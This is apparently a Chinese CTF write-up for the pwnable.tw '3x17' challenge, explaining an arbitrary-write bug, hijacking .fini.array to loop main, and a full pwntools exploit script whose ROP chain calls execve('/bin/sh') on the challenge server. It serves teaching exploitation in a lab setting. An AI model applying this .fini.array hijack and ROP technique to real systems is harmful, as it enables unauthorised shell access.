pwnable.tw 3x17 writeup

查看文件基本信息

1
2
3
4
5
6
7
v1cky@ubuntu:~/Desktop/pwnable/3x17$ checksec 3x17.dms
[*] '/home/v1cky/Desktop/pwnable/3x17/3x17.dms'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看到程序是64位,开启了栈不可执行,这里看的是没有开启canary保护,但是直接看汇编发现有canary保护。没有开启地址随机化。而且程序是静态链接的。在程序看到了sys_read,sys_write系统调用。所以这题的思路是利用rop最后调用sys_execve(‘/bin/sh’,0,0)getshell。

1
2
v1cky@ubuntu:~/Desktop/pwnable/3x17$ ldd -d 3x17.dms
not a dynamic executable

IDA查看文件逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // eax
char *addr; // ST08_8
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]

canary = __readfsqword(0x28u);
result = (unsigned __int8)++read_flag;
if ( read_flag == 1 )
{
write(1u, "addr:", 5uLL);
read(0, &buf, 0x18uLL);
stroll((__int64)&buf);//函数返回后将返回值保存在eax,即v4,作用是将输入的字符串转换成整数
addr = (char *)v4;
write(1u, "data:", 5uLL);
read(0, addr, 0x18uLL);
result = 0;
}
if ( __readfsqword(0x28u) != canary )
sub_44A3E0();
return result;
}

基本逻辑就是在输入的地址处输入任意数据,就是任意地址写。

利用

漏洞很明显,任意地址覆写,但是应该如何覆写,这里需要在一次运行中多次往一块区域写入rop,在参考了别人的wp之后知道了有个叫.fini.array的数组,里面保存着程序执行完之后执行的函数,这里的思路是可以覆盖.fini.array数组的内容来控制程序执行流程。有一点需要注意的是.fini.array数组里保存的函数是逆序执行的,也就是说会先执行.fini.array[1]再执行.fini.array[0]。我们可以将.fini.array[1]的值改为main函数的地址,将.fini.array[0]改成调用控制.fini.array的函数0x402960,这样执行完main之后就执行又继续执行调用main函数的函数。这样就可以形成循环一直任意地址覆盖写。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
addr:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

p = remote('chall.pwnable.tw',10105)
#p = process('./3x17.dms')

def send_data(addr,data):
p.recvuntil('addr:')
p.sendline(str(addr))
p.recvuntil('data:')
p.send(data)

def pwn():
fini_array_addr = 0x00000000004B40F0
main_addr = 0x0000000000401B6D
loop_func_addr = 0x0000000000402960
main_leave_ret_addr = 0x0000000000401C4B

#change .fini.array[1] = main_addr,.fini.array[0] = loop_func_addr
send_data(fini_array_addr,p64(loop_func_addr)+p64(main_addr))
print 'change .fini.array'
#rop
pop_eax_addr = 0x000000000041e4af
pop_edi_addr = 0x0000000000401696
pop_esi_addr = 0x0000000000406c30
pop_edx_addr = 0x0000000000446e35
syscall_addr = 0x0000000000471db5
binsh_addr = 0x00000000004B4080
start_addr = 0x00000000004B4100
sys_read_addr = 0x0000000000446E2C

send_data(start_addr,p64(pop_eax_addr)+p64(0x3b))
send_data(start_addr+16,p64(pop_edi_addr)+p64(binsh_addr))
send_data(binsh_addr,"/bin/sh\x00")

send_data(start_addr+32,p64(pop_esi_addr)+p64(0))
send_data(start_addr+48,p64(pop_edx_addr)+p64(0))
send_data(start_addr+64,p64(syscall_addr))
send_data(fini_array_addr,p64(main_leave_ret_addr))
p.interactive()


pwn()

参考

https://ama2in9.top/2019/04/10/3x17/